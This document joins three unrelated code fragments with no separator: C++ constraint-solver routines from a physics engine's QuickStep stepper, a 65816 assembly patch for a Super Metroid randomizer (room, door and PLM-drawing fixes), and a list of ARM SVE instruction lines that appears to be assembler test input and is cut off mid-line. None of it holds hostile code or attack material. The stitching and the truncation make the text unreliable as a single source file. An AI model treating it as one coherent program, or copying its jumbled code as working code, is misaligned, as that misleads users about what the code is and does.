#ifdef WARM_STARTING // compute residual r = b - A*lambda multiply_J_invM_JT (m,nb,J,iMJ,jb,cfm,fc,lambda,r); for (i=0; i<m; i++) r[i] = b[i] - r[i]; #else dSetZero (lambda,m); memcpy (r,b,m*sizeof(dReal)); // residual r = b - A*lambda #endif for (int iteration=0; iteration < num_iterations; iteration++) { for (i=0; i<m; i++) z[i] = r[i]*Ad[i]; // z = inv(M)*r dReal rho = dot (m,r,z); // rho = r'*z // @@@ // we must check for convergence, otherwise rho will go to 0 if // we get an exact solution, which will introduce NaNs into the equations. if (rho < 1e-10) { printf ("CG returned at iteration %d\n",iteration); break; } if (iteration==0) { memcpy (p,z,m*sizeof(dReal)); // p = z } else { add (m,p,z,p,rho/last_rho); // p = z + (rho/last_rho)*p } // compute q = (J*inv(M)*J')*p multiply_J_invM_JT (m,nb,J,iMJ,jb,cfm,fc,p,q); dReal alpha = rho/dot (m,p,q); // alpha = rho/(p'*q) add (m,lambda,lambda,p,alpha); // lambda = lambda + alpha*p add (m,r,r,q,-alpha); // r = r - alpha*q last_rho = rho; } // compute fc = inv(M)*J'*lambda multiply_invM_JT (m,nb,iMJ,jb,lambda,fc); #if 0 // measure solution error multiply_J_invM_JT (m,nb,J,iMJ,jb,cfm,fc,lambda,r); dReal error = 0; for (i=0; i<m; i++) error += dFabs(r[i] - b[i]); printf ("lambda error = %10.6e\n",error); #endif } #endif //*************************************************************************** // SOR-LCP method // nb is the number of bodies in the body array. // J is an m*12 matrix of constraint rows // jb is an array of first and second body numbers for each constraint row // invI is the global frame inverse inertia for each body (stacked 3x3 matrices) // // this returns lambda and fc (the constraint force). // note: fc is returned as inv(M)*J'*lambda, the constraint force is actually J'*lambda // // b, lo and hi are modified on exit struct IndexError { dReal error; // error to sort on int findex; int index; // row index }; #ifdef REORDER_CONSTRAINTS static __cdecl int compare_index_error (const void *a, const void *b) { const IndexError *i1 = (IndexError*) a; const IndexError *i2 = (IndexError*) b; if (i1->findex < 0 && i2->findex >= 0) return -1; if (i1->findex >= 0 && i2->findex < 0) return 1; if (i1->error < i2->error) return -1; if (i1->error > i2->error) return 1; return 0; } #endif static thread_local auto rng = std::mt19937(std::random_device()()); static void SOR_LCP (int m, int nb, dRealMutablePtr J, int *jb, dxBody * const *body, dRealPtr invI, dRealMutablePtr lambda, dRealMutablePtr fc, dRealMutablePtr b, dRealMutablePtr lo, dRealMutablePtr hi, dRealPtr cfm, int *findex, dxQuickStepParameters *qs) { const int num_iterations = qs->num_iterations; const dReal sor_w = qs->w; // SOR over-relaxation parameter int i,j; #ifdef WARM_STARTING // for warm starting, this seems to be necessary to prevent // jerkiness in motor-driven joints. i have no idea why this works. for (i=0; i<m; i++) lambda[i] *= REAL(0.9); #else dSetZero (lambda,m); #endif // the lambda computed at the previous iteration. // this is used to measure error for when we are reordering the indexes. dRealAllocaArray (last_lambda,m); // a copy of the 'hi' vector in case findex[] is being used dRealAllocaArray (hicopy,m); memcpy (hicopy,hi,m*sizeof(dReal)); // precompute iMJ = inv(M)*J' dRealAllocaArray (iMJ,m*12); compute_invM_JT (m,J,iMJ,jb,body,invI); // compute fc=(inv(M)*J')*lambda. we will incrementally maintain fc // as we change lambda. #ifdef WARM_STARTING multiply_invM_JT (m,nb,iMJ,jb,lambda,fc); #else dSetZero (fc,nb*6); #endif // precompute 1 / diagonals of A dRealAllocaArray (Ad,m); dRealPtr iMJ_ptr = iMJ; dRealMutablePtr J_ptr = J; for (i=0; i<m; i++) { dReal sum = 0; for (j=0; j<6; j++) sum += iMJ_ptr[j] * J_ptr[j]; if (jb[i*2+1] >= 0) { for (j=6; j<12; j++) sum += iMJ_ptr[j] * J_ptr[j]; } iMJ_ptr += 12; J_ptr += 12; Ad[i] = sor_w / (sum + cfm[i]); } // scale J and b by Ad J_ptr = J; for (i=0; i<m; i++) { for (j=0; j<12; j++) { J_ptr[0] *= Ad[i]; J_ptr++; } b[i] *= Ad[i]; } // scale Ad by CFM for (i=0; i<m; i++) Ad[i] *= cfm[i]; // order to solve constraint rows in IndexError *order = (IndexError*) alloca (m*sizeof(IndexError)); #ifndef REORDER_CONSTRAINTS // make sure constraints with findex < 0 come first. j=0; for (i=0; i<m; i++) if (findex[i] < 0) order[j++].index = i; for (i=0; i<m; i++) if (findex[i] >= 0) order[j++].index = i; dIASSERT (j==m); #endif for (int iteration=0; iteration < num_iterations; iteration++) { #ifdef REORDER_CONSTRAINTS // constraints with findex < 0 always come first. if (iteration < 2) { // for the first two iterations, solve the constraints in // the given order for (i=0; i<m; i++) { order[i].error = i; order[i].findex = findex[i]; order[i].index = i; } } else { // sort the constraints so that the ones converging slowest // get solved last. use the absolute (not relative) error. for (i=0; i<m; i++) { dReal v1 = dFabs (lambda[i]); dReal v2 = dFabs (last_lambda[i]); dReal max = (v1 > v2) ? v1 : v2; if (max > 0) { //@@@ relative error: order[i].error = dFabs(lambda[i]-last_lambda[i])/max; order[i].error = dFabs(lambda[i]-last_lambda[i]); } else { order[i].error = dInfinity; } order[i].findex = findex[i]; order[i].index = i; } } qsort (order,m,sizeof(IndexError),&compare_index_error); #endif #ifdef RANDOMLY_REORDER_CONSTRAINTS if ((iteration & 3) == 0) { std::shuffle(order,order+m, rng); /* for (i=1; i<m; ++i) { IndexError tmp = order[i]; int swapi = dRandInt(i+1); order[i] = order[swapi]; order[swapi] = tmp; } */ } #endif //@@@ potential optimization: swap lambda and last_lambda pointers rather // than copying the data. we must make sure lambda is properly // returned to the caller memcpy (last_lambda,lambda,m*sizeof(dReal)); for (int i=0; i<m; i++) { // @@@ potential optimization: we could pre-sort J and iMJ, thereby // linearizing access to those arrays. hmmm, this does not seem // like a win, but we should think carefully about our memory // access pattern. int index = order[i].index; J_ptr = J + index*12; iMJ_ptr = iMJ + index*12; // set the limits for this constraint. note that 'hicopy' is used. // this is the place where the QuickStep method differs from the // direct LCP solving method, since that method only performs this // limit adjustment once per time step, whereas this method performs // once per iteration per constraint row. // the constraints are ordered so that all lambda[] values needed have // already been computed. if (findex[index] >= 0) { hi[index] = dFabs (hicopy[index] * lambda[findex[index]]); lo[index] = -hi[index]; } int b1 = jb[index*2]; int b2 = jb[index*2+1]; dReal delta = b[index] - lambda[index]*Ad[index]; dRealMutablePtr fc_ptr = fc + 6*b1; // @@@ potential optimization: SIMD-ize this and the b2 >= 0 case delta -=fc_ptr[0] * J_ptr[0] + fc_ptr[1] * J_ptr[1] + fc_ptr[2] * J_ptr[2] + fc_ptr[3] * J_ptr[3] + fc_ptr[4] * J_ptr[4] + fc_ptr[5] * J_ptr[5]; // @@@ potential optimization: handle 1-body constraints in a separate // loop to avoid the cost of test & jump? if (b2 >= 0) { fc_ptr = fc + 6*b2; delta -=fc_ptr[0] * J_ptr[6] + fc_ptr[1] * J_ptr[7] + fc_ptr[2] * J_ptr[8] + fc_ptr[3] * J_ptr[9] + fc_ptr[4] * J_ptr[10] + fc_ptr[5] * J_ptr[11]; } // compute lambda and clamp it to [lo,hi]. // @@@ potential optimization: does SSE have clamping instructions // to save test+jump penalties here? dReal new_lambda = lambda[index] + delta; if (new_lambda < lo[index]) { delta = lo[index]-lambda[index]; lambda[index] = lo[index]; } else if (new_lambda > hi[index]) { delta = hi[index]-lambda[index]; lambda[index] = hi[index]; } else { lambda[index] = new_lambda; } //@@@ a trick that may or may not help //dReal ramp = (1-((dReal)(iteration+1)/(dReal)num_iterations)); //delta *= ramp; // update fc. // @@@ potential optimization: SIMD for this and the b2 >= 0 case fc_ptr = fc + 6*b1; fc_ptr[0] += delta * iMJ_ptr[0]; fc_ptr[1] += delta * iMJ_ptr[1]; fc_ptr[2] += delta * iMJ_ptr[2]; fc_ptr[3] += delta * iMJ_ptr[3]; fc_ptr[4] += delta * iMJ_ptr[4]; fc_ptr[5] += delta * iMJ_ptr[5]; // @@@ potential optimization: handle 1-body constraints in a separate // loop to avoid the cost of test & jump? if (b2 >= 0) { fc_ptr = fc + 6*b2; fc_ptr[0] += delta * iMJ_ptr[6]; fc_ptr[1] += delta * iMJ_ptr[7]; fc_ptr[2] += delta * iMJ_ptr[8]; fc_ptr[3] += delta * iMJ_ptr[9]; fc_ptr[4] += delta * iMJ_ptr[10]; fc_ptr[5] += delta * iMJ_ptr[11]; } } } } /* static void SOR_LCP (int m, int nb, dRealMutablePtr J, int *jb, dxBody * const *body, dRealPtr invI, dRealMutablePtr lambda, dRealMutablePtr fc, dRealMutablePtr b, dRealMutablePtr lo, dRealMutablePtr hi, dRealPtr cfm, int *findex, dxQuickStepParameters *qs) { const int num_iterations = qs->num_iterations; const dReal sor_w = qs->w; // SOR over-relaxation parameter int i,j; #ifdef WARM_STARTING // for warm starting, this seems to be necessary to prevent // jerkiness in motor-driven joints. i have no idea why this works. for (i=0; i<m; i++) lambda[i] *= 0.9;//0.68f; #else dSetZero (lambda,m); #endif // the lambda computed at the previous iteration. // this is used to measure error for when we are reordering the indexes. dRealAllocaArray (last_lambda,m); // a copy of the 'hi' vector in case findex[] is being used dRealAllocaArray (hicopy,m); memcpy (hicopy,hi,m*sizeof(dReal)); // precompute iMJ = inv(M)*J' dRealAllocaArray (iMJ,m*12); compute_invM_JT (m,J,iMJ,jb,body,invI); // compute fc=(inv(M)*J')*lambda. we will incrementally maintain fc // as we change lambda. #ifdef WARM_STARTING multiply_invM_JT (m,nb,iMJ,jb,lambda,fc); #else dSetZero (fc,nb*6); #endif // precompute 1 / diagonals of A dRealAllocaArray (Ad,m); dRealAllocaArray (delta_lambda,m); dRealPtr iMJ_ptr = iMJ; dRealMutablePtr J_ptr = J; for (i=0; i<m; i++) { dReal sum = 0; for (j=0; j<6; j++) sum += iMJ_ptr[j] * J_ptr[j]; if (jb[i*2+1] >= 0) { for (j=6; j<12; j++) sum += iMJ_ptr[j] * J_ptr[j]; } iMJ_ptr += 12; J_ptr += 12; Ad[i] = sor_w / (sum + cfm[i]); } // scale J and b by Ad J_ptr = J; for (i=0; i<m; i++) { for (j=0; j<12; j++) { J_ptr[0] *= Ad[i]; J_ptr++; } b[i] *= Ad[i]; } // scale Ad by CFM for (i=0; i<m; i++) Ad[i] *= cfm[i]; // order to solve constraint rows in IndexError *order = (IndexError*) alloca (m*sizeof(IndexError)); #ifndef REORDER_CONSTRAINTS // make sure constraints with findex < 0 come first. j=0; for (i=0; i<m; i++) if (findex[i] < 0) order[j++].index = i; for (i=0; i<m; i++) if (findex[i] >= 0) order[j++].index = i; dIASSERT (j==m); #endif for (int iteration=0; iteration < num_iterations; iteration++) { #ifdef REORDER_CONSTRAINTS // constraints with findex < 0 always come first. if (iteration < 2) { // for the first two iterations, solve the constraints in // the given order for (i=0; i<m; i++) { order[i].error = i; order[i].findex = findex[i]; order[i].index = i; } } else { // sort the constraints so that the ones converging slowest // get solved last. use the absolute (not relative) error. for (i=0; i<m; i++) { dReal v1 = dFabs (lambda[i]); dReal v2 = dFabs (last_lambda[i]); dReal max = (v1 > v2) ? v1 : v2; if (max > 0) { //@@@ relative error: order[i].error = dFabs(lambda[i]-last_lambda[i])/max; order[i].error = dFabs(lambda[i]-last_lambda[i]); } else { order[i].error = dInfinity; } order[i].findex = findex[i]; order[i].index = i; } } qsort (order,m,sizeof(IndexError),&compare_index_error); #endif #ifdef RANDOMLY_REORDER_CONSTRAINTS if ((iteration & 7) == 0) { for (i=1; i<m; ++i) { IndexError tmp = order[i]; int swapi = dRandInt(i+1); order[i] = order[swapi]; order[swapi] = tmp; } } #endif //@@@ potential optimization: swap lambda and last_lambda pointers rather // than copying the data. we must make sure lambda is properly // returned to the caller memcpy (last_lambda,lambda,m*sizeof(dReal)); for (int i=0; i<m; i++) { // @@@ potential optimization: we could pre-sort J and iMJ, thereby // linearizing access to those arrays. hmmm, this does not seem // like a win, but we should think carefully about our memory // access pattern. int index = order[i].index; J_ptr = J + index*12; iMJ_ptr = iMJ + index*12; // set the limits for this constraint. note that 'hicopy' is used. // this is the place where the QuickStep method differs from the // direct LCP solving method, since that method only performs this // limit adjustment once per time step, whereas this method performs // once per iteration per constraint row. // the constraints are ordered so that all lambda[] values needed have // already been computed. int b1 = jb[index*2]; int b2 = jb[index*2+1]; dReal delta = b[index] - lambda[index]*Ad[index]; dRealMutablePtr fc_ptr = fc + 6*b1; // @@@ potential optimization: SIMD-ize this and the b2 >= 0 case delta -=fc_ptr[0] * J_ptr[0] + fc_ptr[1] * J_ptr[1] + fc_ptr[2] * J_ptr[2] + fc_ptr[3] * J_ptr[3] + fc_ptr[4] * J_ptr[4] + fc_ptr[5] * J_ptr[5]; // @@@ potential optimization: handle 1-body constraints in a separate // loop to avoid the cost of test & jump? if (b2 >= 0) { fc_ptr = fc + 6*b2; delta -=fc_ptr[0] * J_ptr[6] + fc_ptr[1] * J_ptr[7] + fc_ptr[2] * J_ptr[8] + fc_ptr[3] * J_ptr[9] + fc_ptr[4] * J_ptr[10] + fc_ptr[5] * J_ptr[11]; } // compute lambda and clamp it to [lo,hi]. // @@@ potential optimization: does SSE have clamping instructions // to save test+jump penalties here? delta_lambda[index]=delta; //@@@ a trick that may or may not help //dReal ramp = (1-((dReal)(iteration+1)/(dReal)num_iterations)); //delta *= ramp; // update fc. // @@@ potential optimization: SIMD for this and the b2 >= 0 case } for(int i=0; i<m; i++) { int index = order[i].index; if (findex[index] >= 0) { hi[index] = dFabs (hicopy[index] * lambda[findex[index]]); lo[index] = -hi[index]; } dReal new_lambda = lambda[index] + delta_lambda[index]; if (new_lambda < lo[index]) { delta_lambda[index] = lo[index]-lambda[index]; lambda[index] = lo[index]; } else if (new_lambda > hi[index]) { delta_lambda[index] = hi[index]-lambda[index]; lambda[index] = hi[index]; } else { lambda[index] = new_lambda; } int b1 = jb[index*2]; int b2 = jb[index*2+1]; iMJ_ptr = iMJ + index*12; dRealMutablePtr fc_ptr = fc + 6*b1; fc_ptr[0] += delta_lambda[index] * iMJ_ptr[0];//_lambda[index] fc_ptr[1] += delta_lambda[index] * iMJ_ptr[1];//_lambda[index] fc_ptr[2] += delta_lambda[index] * iMJ_ptr[2];//_lambda[index] fc_ptr[3] += delta_lambda[index] * iMJ_ptr[3];//_lambda[index] fc_ptr[4] += delta_lambda[index] * iMJ_ptr[4];//_lambda[index] fc_ptr[5] += delta_lambda[index] * iMJ_ptr[5];//_lambda[index] // @@@ potential optimization: handle 1-body constraints in a separate // loop to avoid the cost of test & jump? if (b2 >= 0) { fc_ptr = fc + 6*b2; fc_ptr[0] += delta_lambda[index] * iMJ_ptr[6];//_lambda[index] fc_ptr[1] += delta_lambda[index] * iMJ_ptr[7];//_lambda[index] fc_ptr[2] += delta_lambda[index] * iMJ_ptr[8];//_lambda[index] fc_ptr[3] += delta_lambda[index] * iMJ_ptr[9];//_lambda[index] fc_ptr[4] += delta_lambda[index] * iMJ_ptr[10];//_lambda[index] fc_ptr[5] += delta_lambda[index] * iMJ_ptr[11];//_lambda[index] } } } } */ void dxQuickStepper (dxWorld *world, dxBody * const *body, int nb, dxJoint **joint, int nj, dReal stepsize) { int i,j; IFTIMING(dTimerStart("preprocessing");) dReal stepsize1 = dRecip(stepsize); // number all bodies in the body list - set their tag values for (i=0; i<nb; i++) body[i]->tag = i; // make a local copy of the joint array, because we might want to modify it. // (the "dxJoint *const*" declaration says we're allowed to modify the joints // but not the joint array, because the caller might need it unchanged). //@@@ do we really need to do this? we'll be sorting constraint rows individually, not joints //dxJoint **joint = (dxJoint**) alloca (nj * sizeof(dxJoint*));//slipch@ - no need to copy with sipmle island processing //memcpy (joint,_joint,nj * sizeof(dxJoint*)); // for all bodies, compute the inertia tensor and its inverse in the global // frame, and compute the rotational force and add it to the torque // accumulator. I and invI are a vertical stack of 3x4 matrices, one per body. dRealAllocaArray (I,3*4*nb); // need to remember all I's for feedback purposes only dRealAllocaArray (invI,3*4*nb); for (i=0; i<nb; i++) { dMatrix3 tmp; dxBody *b=body[i]; #ifdef DEBUG_VALID dIASSERT(dValid(b->tacc[0])&&dValid(b->tacc[1])&&dValid(b->tacc[2])); #endif // compute inertia tensor in global frame dMULTIPLY2_333 (tmp,b->mass.I,body[i]->R); dMULTIPLY0_333 (I+i*12,b->R,tmp); // compute inverse inertia tensor in global frame dMULTIPLY2_333 (tmp,b->invI,b->R); dMULTIPLY0_333 (invI+i*12,b->R,tmp); // compute rotational force dMULTIPLY0_331 (tmp,I+i*12,b->avel); dCROSS (b->tacc,-=,b->avel,tmp); #ifndef dNODEBUG if(!(dValid(b->tacc[0])&&dValid(b->tacc[1])&&dValid(b->tacc[2]))) { //char s[64]; //_snprintf (s,sizeof(s),"tmp %f,%f,%f \n avel %f,%f,%f",tmp[0],tmp[1],tmp[2],b->avel[0],b->avel[1],b->avel[2]); //dUASSERT(0,"tmp %f,%f,%f \n avel %f,%f,%f",tmp[0],tmp[1],tmp[2],b->avel[0],b->avel[1],b->avel[2]); dDebug (d_ERR_UASSERT," (%s:%d \n tmp %f,%f,%f \n avel %f,%f,%f)", __FILE__,__LINE__,tmp[0],tmp[1],tmp[2],b->avel[0],b->avel[1],b->avel[2]); } #endif } // add the gravity force to all bodies for (i=0; i<nb; i++) { if ((body[i]->flags & dxBodyNoGravity)==0) { body[i]->facc[0] += body[i]->mass.mass * world->gravity[0]; body[i]->facc[1] += body[i]->mass.mass * world->gravity[1]; body[i]->facc[2] += body[i]->mass.mass * world->gravity[2]; } } // get joint information (m = total constraint dimension, nub = number of unbounded variables). // joints with m=0 are inactive and are removed from the joints array // entirely, so that the code that follows does not consider them. //@@@ do we really need to save all the info1's dxJoint::Info1 *info = (dxJoint::Info1*) alloca (nj*sizeof(dxJoint::Info1)); for (i=0, j=0; j<nj; j++) { // i=dest, j=src joint[j]->vtable->getInfo1 (joint[j],info+i); dIASSERT (info[i].m >= 0 && info[i].m <= 6 && info[i].nub >= 0 && info[i].nub <= info[i].m); if (info[i].m > 0) { joint[i] = joint[j]; i++; } } nj = i; // create the row offset array int m = 0; int *ofs = (int*) alloca (nj*sizeof(int)); for (i=0; i<nj; i++) { ofs[i] = m; m += info[i].m; } // if there are constraints, compute the constraint force dRealAllocaArray (J,m*12); int *jb = (int*) alloca (m*2*sizeof(int)); if (m > 0) { // create a constraint equation right hand side vector `c', a constraint // force mixing vector `cfm', and LCP low and high bound vectors, and an // 'findex' vector. dRealAllocaArray (c,m); dRealAllocaArray (cfm,m); dRealAllocaArray (lo,m); dRealAllocaArray (hi,m); int *findex = (int*) alloca (m*sizeof(int)); dSetZero (c,m); dSetValue (cfm,m,world->global_cfm); dSetValue (lo,m,-dInfinity); dSetValue (hi,m, dInfinity); for (i=0; i<m; i++) findex[i] = -1; // get jacobian data from constraints. an m*12 matrix will be created // to store the two jacobian blocks from each constraint. it has this // format: // // l1 l1 l1 a1 a1 a1 l2 l2 l2 a2 a2 a2 \ . // l1 l1 l1 a1 a1 a1 l2 l2 l2 a2 a2 a2 }-- jacobian for joint 0, body 1 and body 2 (3 rows) // l1 l1 l1 a1 a1 a1 l2 l2 l2 a2 a2 a2 / // l1 l1 l1 a1 a1 a1 l2 l2 l2 a2 a2 a2 }--- jacobian for joint 1, body 1 and body 2 (3 rows) // etc... // // (lll) = linear jacobian data // (aaa) = angular jacobian data // IFTIMING (dTimerNow ("create J");) dSetZero (J,m*12); dxJoint::Info2 Jinfo; Jinfo.rowskip = 12; Jinfo.fps = stepsize1; Jinfo.erp = world->global_erp; for (i=0; i<nj; i++) { Jinfo.J1l = J + ofs[i]*12; Jinfo.J1a = Jinfo.J1l + 3; Jinfo.J2l = Jinfo.J1l + 6; Jinfo.J2a = Jinfo.J1l + 9; Jinfo.c = c + ofs[i]; Jinfo.cfm = cfm + ofs[i]; Jinfo.lo = lo + ofs[i]; Jinfo.hi = hi + ofs[i]; Jinfo.findex = findex + ofs[i]; joint[i]->vtable->getInfo2 (joint[i],&Jinfo); // adjust returned findex values for global index numbering for (j=0; j<info[i].m; j++) { if (findex[ofs[i] + j] >= 0) findex[ofs[i] + j] += ofs[i]; } } // create an array of body numbers for each joint row int *jb_ptr = jb; for (i=0; i<nj; i++) { int b1 = (joint[i]->node[0].body) ? (joint[i]->node[0].body->tag) : -1; int b2 = (joint[i]->node[1].body) ? (joint[i]->node[1].body->tag) : -1; for (j=0; j<info[i].m; j++) { jb_ptr[0] = b1; jb_ptr[1] = b2; jb_ptr += 2; } } dIASSERT (jb_ptr == jb+2*m); // compute the right hand side `rhs' IFTIMING (dTimerNow ("compute rhs");) dRealAllocaArray (tmp1,nb*6); // put v/h + invM*fe into tmp1 for (i=0; i<nb; i++) { dReal body_invMass = body[i]->invMass; for (j=0; j<3; j++) tmp1[i*6+j] = body[i]->facc[j] * body_invMass + body[i]->lvel[j] * stepsize1; dMULTIPLY0_331 (tmp1 + i*6 + 3,invI + i*12,body[i]->tacc); for (j=0; j<3; j++) tmp1[i*6+3+j] += body[i]->avel[j] * stepsize1; } // put J*tmp1 into rhs dRealAllocaArray (rhs,m); multiply_J (m,J,jb,tmp1,rhs); // complete rhs for (i=0; i<m; i++) rhs[i] = c[i]*stepsize1 - rhs[i]; // scale CFM for (i=0; i<m; i++) cfm[i] *= stepsize1; // load lambda from the value saved on the previous iteration dRealAllocaArray (lambda,m); #ifdef WARM_STARTING dSetZero (lambda,m); //@@@ shouldn't be necessary for (i=0; i<nj; i++) { memcpy (lambda+ofs[i],joint[i]->lambda,info[i].m * sizeof(dReal)); } #endif // solve the LCP problem and get lambda and invM*constraint_force IFTIMING (dTimerNow ("solving LCP problem");) dRealAllocaArray (cforce,nb*6); SOR_LCP (m,nb,J,jb,body,invI,lambda,cforce,rhs,lo,hi,cfm,findex,&world->qs); #ifdef WARM_STARTING // save lambda for the next iteration //@@@ note that this doesn't work for contact joints yet, as they are // recreated every iteration for (i=0; i<nj; i++) { memcpy (joint[i]->lambda,lambda+ofs[i],info[i].m * sizeof(dReal));//valid? } #endif // note that the SOR method overwrites rhs and J at this point, so // they should not be used again. // add stepsize * cforce to the body velocity bool bvalid=true; for (i=0; i<nb; i++) for (j=0; j<3; j++) { float &lf=cforce[i*6+j]; float &af=cforce[i*6+3+j]; if(!dValid(lf)) { lf=0.f; bvalid=false; } if(!dValid(af)) { af=0.f; bvalid=false; } body[i]->lvel[j] += stepsize * lf; //valid? body[i]->avel[j] += stepsize * af;//valid? } if(!bvalid) { for (i=0; i<nj; i++) { for(j=0;j<6;j++)joint[i]->lambda[j]=0.f; } } // if joint feedback is requested, compute the constraint force. // BUT: cforce is inv(M)*J'*lambda, whereas we want just J'*lambda, // so we must compute M*cforce. // @@@ if any joint has a feedback request we compute the entire // adjusted cforce, which is not the most efficient way to do it. for (j=0; j<nj; j++) { if (joint[j]->feedback) { // compute adjusted cforce for (i=0; i<nb; i++) { dReal k = body[i]->mass.mass; cforce [i*6+0] *= k; cforce [i*6+1] *= k; cforce [i*6+2] *= k; dVector3 tmp; dMULTIPLY0_331 (tmp, I + 12*i, cforce + i*6 + 3); cforce [i*6+3] = tmp[0]; cforce [i*6+4] = tmp[1]; cforce [i*6+5] = tmp[2]; } // compute feedback for this and all remaining joints for (; j<nj; j++) { dJointFeedback *fb = joint[j]->feedback; if (fb) { int b1 = joint[j]->node[0].body->tag; memcpy (fb->f1,cforce+b1*6,3*sizeof(dReal)); memcpy (fb->t1,cforce+b1*6+3,3*sizeof(dReal)); if (joint[j]->node[1].body) { int b2 = joint[j]->node[1].body->tag; memcpy (fb->f2,cforce+b2*6,3*sizeof(dReal)); memcpy (fb->t2,cforce+b2*6+3,3*sizeof(dReal)); } } } } } } // compute the velocity update: // add stepsize * invM * fe to the body velocity IFTIMING (dTimerNow ("compute velocity update");) for (i=0; i<nb; i++) { dxBody *b=body[i]; dReal body_invMass = b->invMass; for (j=0; j<3; j++) { //if (_valid(body[i]->facc[j])) b->lvel[j] += stepsize * body_invMass *b->facc[j]; } for (j=0; j<3; j++) { // if(!_valid(b->tacc[j]))b->tacc[j]=0.f; b->tacc[j] *= stepsize; } #ifdef DEBUG_VALID dIASSERT(dValid(b->avel[0])&&dValid(b->avel[1])&&dValid(b->avel[2])); dIASSERT(dValid(b->tacc[0])&&dValid(b->tacc[1])&&dValid(b->tacc[2])); #endif dMULTIPLYADD0_331 (b->avel,invI + i*12,b->tacc); #ifdef DEBUG_VALID dIASSERT(dValid(b->avel[0])&&dValid(b->avel[1])&&dValid(b->avel[2])); #endif } #if 0 // check that the updated velocity obeys the constraint (this check needs unmodified J) dRealAllocaArray (vel,nb*6); for (i=0; i<nb; i++) { for (j=0; j<3; j++) vel[i*6+j] = body[i]->lvel[j]; for (j=0; j<3; j++) vel[i*6+3+j] = body[i]->avel[j]; } dRealAllocaArray (tmp,m); multiply_J (m,J,jb,vel,tmp); dReal error = 0; for (i=0; i<m; i++) error += dFabs(tmp[i]); printf ("velocity error = %10.6e\n",error); #endif // update the position and orientation from the new linear/angular velocity // (over the given timestep) IFTIMING (dTimerNow ("update position");) for (i=0; i<nb; i++) dxStepBody (body[i],stepsize); IFTIMING (dTimerNow ("tidy up");) // zero all force accumulators for (i=0; i<nb; i++) { dSetZero (body[i]->facc,3); dSetZero (body[i]->tacc,3); } IFTIMING (dTimerEnd();) IFTIMING (if (m > 0) dTimerReport (stdout,1);) }
;Fix music coming into the maridia portal org $CFD924 db $1B, $05 ;Fix for escape bomb block softlock by Capn ;Hijack the door ASM org $cfe4cf base $8fe4cf jsr NewShaftDoorASM rts ;Free space at ec00 org $cfec00 base $8fec00 NewShaftDoorASM: ;Start with Original ASM functions php %a8() lda #$01 sta $7ecd38 lda #$00 sta $7ecd39 ;Set all blocks in RAM to air ;Got lucky here that asm code is done after tile loading ^_^ %a16() lda #$00ff sta $7f3262 sta $7f3264 sta $7f32c2 sta $7f32c4 sta $7f3322 sta $7f3324 sta $7f3382 sta $7f3384 plp rts ; Create a new refill room with two doors to be used instead of the regular LN refill room ; so that the right door can lead to an ALTTP portal and still preserve the refill room org $cfed00 NewLNRefillRoom: ; Room $ED00: Header .header db $39, $02, $15, $0F, $01, $01, $70, $A0, $00 dw .doors, $E5E6 .state ; Room $ED00: Default State dl $CE8FA6 db $17, $00, $03 dw $87BA, $A623, $8777, $0000, $0000, $0000, $0000, $8D9C, $0000, $91F7 .doors ; Room $ED00: Door list dw $98A6 ; Back to Screw attack room dw NewLNRefillDoorData_exit ; New door leading out to ALTTP org $c3ae00 NewLNRefillDoorData: ; New door table data for the added door .exit dw $AFFB : db $00, $04, $01, $06, $00, $00 : dw $8000, $0000 .entry dw NewLNRefillRoom : db $00, $05, $0E, $06, $00, $00 : dw $8000, $0000 ; Repoint screw attack door into the new room org $c39a7a dw NewLNRefillRoom ; During horizontal door transitions, the "ready for NMI" flag is set by IRQ at the bottom of the door as an optimisation, ; but the PLM drawing routine hasn't necessarily finished processing yet. ; The Kraid quick kill vomit happens because NMI actually interrupts the PLM drawing routine for the PLM that clears the spike floor, ; *whilst* it's in the middle of writing entries to the $D0 table, which the NMI processes. ; This fix simply clears this NMI-ready flag for the duration of the PLM drawinging routine. ; Squeeze this into the freespace before the free space used by items.asm org $c4efd3 base $84efd3 drawPlmSafe: { stz.w $05B4 ; Not ready for NMI jsr $8DAA ; Draw PLM inc.w $05B4 ; Ready for NMI rts warnpc $84efe0 } ; Patch calls to draw PLM org $c4861a ; End of PLM processing. Probably the only particularly important one to patch base $84861a jsr drawPlmSafe ; org $c48b50 ; End of block respawn instruction. Shouldn't need patching ; base $848b50 ; jsr drawPlmSafe org $c4e094 ; End of animated PLM drawing instruction. Could theoretically happen... base $84e094 jsr drawPlmSafe
aese z8.b,z8.b/*asm*/,z8.b aese z1.b,z1.b/*asm*/,z8.b aese z2.b,z2.b/*asm*/,z8.b aese z4.b,z4.b/*asm*/,z8.b aese z0.b,z0.b/*asm*/,z8.b aese z16.b,z16.b/*asm*/,z8.b aese z30.b,z30.b/*asm*/,z8.b aese z31.b,z31.b/*asm*/,z8.b aese z8.b,z8.b/*asm*/,z8.b aese z8.b,z8.b/*asm*/,z1.b aese z8.b,z8.b/*asm*/,z2.b aese z8.b,z8.b/*asm*/,z4.b aese z8.b,z8.b/*asm*/,z0.b aese z8.b,z8.b/*asm*/,z16.b aese z8.b,z8.b/*asm*/,z30.b aese z8.b,z8.b/*asm*/,z31.b adclb z8.s,z8.s,z8.s adclb z1.s,z8.s,z8.s adclb z2.s,z8.s,z8.s adclb z4.s,z8.s,z8.s adclb z0.s,z8.s,z8.s adclb z16.s,z8.s,z8.s adclb z30.s,z8.s,z8.s adclb z31.s,z8.s,z8.s adclb z8.s,z8.s,z8.s adclb z8.s,z1.s,z8.s adclb z8.s,z2.s,z8.s adclb z8.s,z4.s,z8.s adclb z8.s,z0.s,z8.s adclb z8.s,z16.s,z8.s adclb z8.s,z30.s,z8.s adclb z8.s,z31.s,z8.s adclb z8.s,z8.s,z8.s adclb z8.s,z8.s,z1.s adclb z8.s,z8.s,z2.s adclb z8.s,z8.s,z4.s adclb z8.s,z8.s,z0.s adclb z8.s,z8.s,z16.s adclb z8.s,z8.s,z30.s adclb z8.s,z8.s,z31.s adclb z8.d,z8.d,z8.d adclb z1.d,z8.d,z8.d adclb z2.d,z8.d,z8.d adclb z4.d,z8.d,z8.d adclb z0.d,z8.d,z8.d adclb z16.d,z8.d,z8.d adclb z30.d,z8.d,z8.d adclb z31.d,z8.d,z8.d adclb z8.d,z8.d,z8.d adclb z8.d,z1.d,z8.d adclb z8.d,z2.d,z8.d adclb z8.d,z4.d,z8.d adclb z8.d,z0.d,z8.d adclb z8.d,z16.d,z8.d adclb z8.d,z30.d,z8.d adclb z8.d,z31.d,z8.d adclb z8.d,z8.d,z8.d adclb z8.d,z8.d,z1.d adclb z8.d,z8.d,z2.d adclb z8.d,z8.d,z4.d adclb z8.d,z8.d,z0.d adclb 